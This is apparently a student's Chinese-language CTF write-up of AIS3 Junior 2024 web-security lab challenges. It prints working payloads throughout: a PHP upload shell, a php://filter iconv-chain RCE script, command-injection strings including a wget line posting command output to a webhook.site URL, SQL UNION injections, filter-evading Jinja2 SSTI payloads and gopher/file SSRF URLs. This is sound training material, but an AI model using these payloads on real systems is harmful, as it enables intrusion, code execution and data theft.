# AIS3 Junior WriteUp 2024 - Web Security by 巫奕嶔 (G) ## 01 - Broken Access Control ### BAC01 用隨機帳密可發現網址最後為 ```/user``` 將網址最後直接更改成 ```/admin``` 發現可以直接進入管理員權限進而取得FLAG ![image](https://hackmd.io/_uploads/SkqoahA9C.png) ### BAC02 探索一下網頁可以發現Product List裡每個商品都有一個編號，點完之後發現少一個商品編號，進入該商品編號 Detail 即可發現隱藏頁面，按下購買 ![image](https://hackmd.io/_uploads/H1eAanA9A.png) ### BAC03 稍微探索一下發現 ```/admin``` 可以觸發一個重新導向的頁面。 一開始以為是要用去POST ```/admin``` ，後來發現 Method Not Allow 最後嘗試抓取重新導向那頁，一開始在Burp攔截器那頁會直接導向 ```/error``` 最後經過組員建議使用Repeater才成功抓到，並在此頁發現FLAG ![image](https://hackmd.io/_uploads/r1yef0Rc0.png) ## 02 - File Upload ### FIL01 點開 Upload Area 發現是PHP Base 又發現可以上傳 .php 於是將此檔案上傳並成功抓到FLAG ```php <?php echo exec("grep -r AIS3_Junior ../") ?> ``` ### FIL02 此題無法像 FIL01 一樣上傳PHP 將 Content-Type 改為圖片格式 以及檔名包含圖片副檔名即可通過 ![image](https://hackmd.io/_uploads/B1qQxzRcR.png) ### FIL03 這題的限制又比 FIL02 多了結尾副檔名以及檔案標頭的檢查 一開始我先用一張正常的圖片來試合法的副檔名，最後發現 .phar 是合法的 接下來把 PNG 標頭以下的內容全部刪掉，替換為 ```php <?php echo exec("grep -r AIS3_Junior ../") ?> ``` 上傳成功後成功讀取FLAG ## 03 - Local File Inclusion ### LFI01 打開這頁之後真的完全沒有頭緒，於是打開網頁原始碼查看發現它的首頁貓咪照片是透過 include.php 回傳而來 於是我直接進入 ```/include.php?GetType=file_get_contents&file=index.php``` 想查看網頁PHP原始碼 沒想到PHP直接被執行，於是我把它丟到 Burp 的 Repeater 直接GET出原始碼 在原始碼中發現帳號密碼以明文的方式出現在原始碼中，登入後取得FLAG ### LFI02 ```php <?php echo exec("grep -r AIS3_Junior ../") ?> ``` 將以上PHP上傳後發現他是存在跟目錄底下的 tmp 資料夾，由於無法直接存取，往回探索 發現URL中有一個奇怪的地方 ```http://.../post.php?form=form.html``` 我直接訪問網頁底下的 ```http://.../form.html``` 發現他是上傳框架內容 為了驗證想法，我導向 ```http://.../post.php?form=index.php``` 發現form這個 param 確實是框架內容 於是我直接將上傳目錄加在```form=```後面成功在框架中取得FLAG ```http://.../post.php?form=/tmp/xxxx.php``` ### LFI03 搜尋 LFI 的漏洞時發現可以 [RCE](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)，於是將腳本修改需要的格式，利用 php filter RCE成功取得FLAG ```python= import requests url = "http://ctfd-ais3.crazyfirelee.tw:9023/include.php" file_to_use = "php://temp" command = "grep -r AIS3_J ." #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', '1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943', '2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8', '3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2', '5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591', '6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156', 'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4', 'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142', 'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297', 'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140', 'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C', 'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399', 'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA', 'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399', 'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399', 'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390', 'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933', 'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE', 'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881', 'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE', 'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284', 'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR', 'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE', 'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', 'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388', 'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937', 'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388', 'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144', 'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143', 'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285', 'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE', 'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920', 'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930', 'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804', 'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT', 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4', 'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE', '+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4', '=': '' } # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" r = requests.get(url, params={ "0": command, "GetType": "include", "file": final_payload }) print(r.text) ``` ![image](https://hackmd.io/_uploads/rJCJ4RCqC.png) ## 04 - Cross-Site Scripting ### XSS01 輸入 ```<script></script>``` 可以執行JS ```<script>alert(FLAG)</script>```獲得FLAG ## 05 - Command Injection ### CMD01 猜測網頁會把輸入的內容直接丟去執行 ```ping ${input}``` 於是嘗試 ```| grep -r AIS3_Junior .``` 直接抓到FLAG ![image](https://hackmd.io/_uploads/rku3Mr0qC.png) ### CMD02 用 ```| grep -r AIS3_Junior .``` 同可解 ![image](https://hackmd.io/_uploads/B1pe4HAqA.png) ### CMD03 題目把空白擋掉了，我上網查詢並參考[這篇文章](https://unix.stackexchange.com/questions/351331/how-to-send-a-command-with-arguments-without-spaces)的出空白可以用```${IFS}```替代 將上面指令轉成 ```|${IFS}grep${IFS}-r${IFS}AIS3_Junior${IFS}.``` 並取得FLAG ![image](https://hackmd.io/_uploads/SJ7gQBAqA.png) ### CMD04 題目雖然沒有額外擋指令，但是並不會輸出指令執行結果。 想法: 用curl吐出結果 結果curl不能用，我直接改用wget，參考[此篇](https://stackoverflow.com/questions/17699666/post-request-with-wget)在配上[webhook.site](https://webhook.site/)來接收指令輸出 ```|wget${IFS}--post-data${IFS}"user=$(grep${IFS}-r${IFS}AIS3_Junior${IFS}.)"${IFS}https://webhook.site/c1e0ac8f-86e5-47ac-affd-a0a36b1f06f7``` ![image](https://hackmd.io/_uploads/HkK_QHC5C.png) ### CMD05 解法與 CMD04 相同，只是出來的結果有包含空格，一開始再輸入FLAG的時候一直沒過，後來把空格通過 URL Encode 之後就過了... ~~Blind Flag真的很像假的卡很久XDD~~ ![image](https://hackmd.io/_uploads/HkL3mHCqC.png) ### CMD06 解法與 CMD03 一樣 ![image](https://hackmd.io/_uploads/ByGQ4BA5C.png) ## 06 - SQL Injection ### SQL01 一開始看[這篇](https://www.explainthis.io/zh-hant/swe/sql-injection)了解 SQL Injection 以及密碼的解法 ![image](https://hackmd.io/_uploads/rJR4rr09A.png) ### SQL02 1. 列出欄位 ```d' UNION SELECT 1, 2, 3, 4 FROM information_schema.schemata -- -``` ![image](https://hackmd.io/_uploads/BkBZnBR5R.png) 2. 列出database ```d' UNION SELECT '1',schema_name,'3','4' FROM information_schema.schemata -- # ``` ![image](https://hackmd.io/_uploads/S1kqArAcR.png) 3. 列出table name ```d' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema="ApexPredators" -- - ``` ![image](https://hackmd.io/_uploads/B1GcZUA9R.png) 4. 列出table資料樣式 ```d' UNION SELECT 1, column_name, 3, 4 FROM information_schema.columns WHERE table_schema="ApexPredators" and table_name="users" -- - ``` ![image](https://hackmd.io/_uploads/H1wJfL050.png) 5. 列出users所有資料 ```d' UNION SELECT id, username, password, isAdmin FROM ApexPredators.users-- -``` ![image](https://hackmd.io/_uploads/r15IG8CcA.png) 6. 用有Admin權限的帳號登入 KubenBlisk:BliskLeader#2024\ ![image](https://hackmd.io/_uploads/SJqpf805A.png) ## 07 - Server-Side Template Injection ### STI01 ![image](https://hackmd.io/_uploads/BySiy20qC.png) 輸入 ```{{4*4}}``` 後發現括號內容會被執行，可以使用 Jinja2 漏洞攻擊，在網路上搜尋 [SSTI Jinja2 Payload](https://www.pwny.cc/web-attacks/server-side-template-injection-ssti#jinja2) 後複製到輸入欄 ```{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('grep -r AIS3_Junior .').read() }}``` ![image](https://hackmd.io/_uploads/r1sjgn050.png) ### STI02 解法同 STI01 ![image](https://hackmd.io/_uploads/HJ-WW3A5A.png) ### STI03 輸入欄阻擋了非常多 Jinja2 的關鍵字，連續嘗試好幾組之後在[這篇](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#without-several-chars)找到可用的 Payload ```{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('grep${IFS}-r${IFS}AIS3_Junior${IFS}.')|attr('read')()%}{%print(a)%}{%endwith%}``` ![image](https://hackmd.io/_uploads/BJH-z2CcC.png) ## 08 - Server-Side Request Forgery ### SRF01 題目提示FLAG位置在 ```/app/FLAG``` 直接在輸入框內輸入 ```file:///app/FLAG``` 即可對應到該檔案 ![image](https://hackmd.io/_uploads/rkfymnR9R.png) 進來發現有一個損壞的 Image 查看原始碼後發現裡面包含一串 Base64 編碼後的字串 `````` 使用[線上工具](https://www.base64decode.org/)進行解碼後得到 FLAG ![image](https://hackmd.io/_uploads/HyYY730qC.png) ### SRF02 ![image](https://hackmd.io/_uploads/SkW-VhRqC.png) 瀏覽網頁後發現右上角有一個 `ADMIN PANEL` 點進去以後提示 `LOCAL ACCESS ONLY` ![image](https://hackmd.io/_uploads/B1gV4hAc0.png) 於是我回到上一頁輸入本地IP加上將對應網址 `/local` 得到以下網址 `http://127.0.0.1/local` 接下來操作同 SRF01 ，解碼後得到FLAG ![image](https://hackmd.io/_uploads/r1xfr3R9C.png) ### SRF03 這題題目跟 SRF02 相似，只是新增了對於本地IP的輸入限制 在講師的提示下我學到使用 `http://localtest.me/local` 之後我自己測試一下發現它可以對應到內網，但是網路上資源較少 解碼後取得FLAG ![image](https://hackmd.io/_uploads/rkLZvhC5C.png) ### SRF04 探索網頁後發現 `ADMIN PANEL` 無法使用 GET 於是我轉到 Burp Repeater 來對其發送 POST 請求 將 GET 請求轉為 POST，又發現在題目中有給帳號密碼，於是加進了 Form Data 中 自行添加 `Content-Type` 後送出，Burp 會自動算出 `Content-Length` ![image](https://hackmd.io/_uploads/S1-1OnRq0.png) (原始 GET 請求) ![image](https://hackmd.io/_uploads/S1oSt2C9C.png) (更改後 POST 請求) <br/> 可以發現在回傳中提示了 `LOCAL ACCESS ONLY ` 於是想到講師說到的 GOPHER ，上網更進一步搜尋後發現 `gopher://` 後接的內容就是 Burp 裡的 Request Payload ，只是多用 URL Encode 而已 所以我將 Host 與 Referer 都改為內網IP ![image](https://hackmd.io/_uploads/ryk65nA90.png) 進行 URL Encode 之後得出以下連結 `gopher://0:80/_POST%20%2Flocal%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AAccept-Language%3A%20zh-TW%0AUpgrade-Insecure-Requests%3A%201%0AUser-Agent%3A%20Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F127.0.6533.100%20Safari%2F537.36%0AAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Favif%2Cimage%2Fwebp%2Cimage%2Fapng%2C%2A%2F%2A%3Bq%3D0.8%2Capplication%2Fsigned-exchange%3Bv%3Db3%3Bq%3D0.7%0AReferer%3A%20http%3A%2F%2F127.0.0.1%0AAccept-Encoding%3A%20gzip%2C%20deflate%2C%20br%0AConnection%3A%20keep-alive%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2032%0A%0Ausername%3Dadmin%26password%3Dpassword` </br> 輸入並解碼後得到FLAG ![image](https://hackmd.io/_uploads/S1PKohAq0.png) 解完之後我才發現其實不需要使用gopher，改完 Host 跟 Referer 後送出即可直接獲得FLAG ![image](https://hackmd.io/_uploads/rJNWhnC9R.png)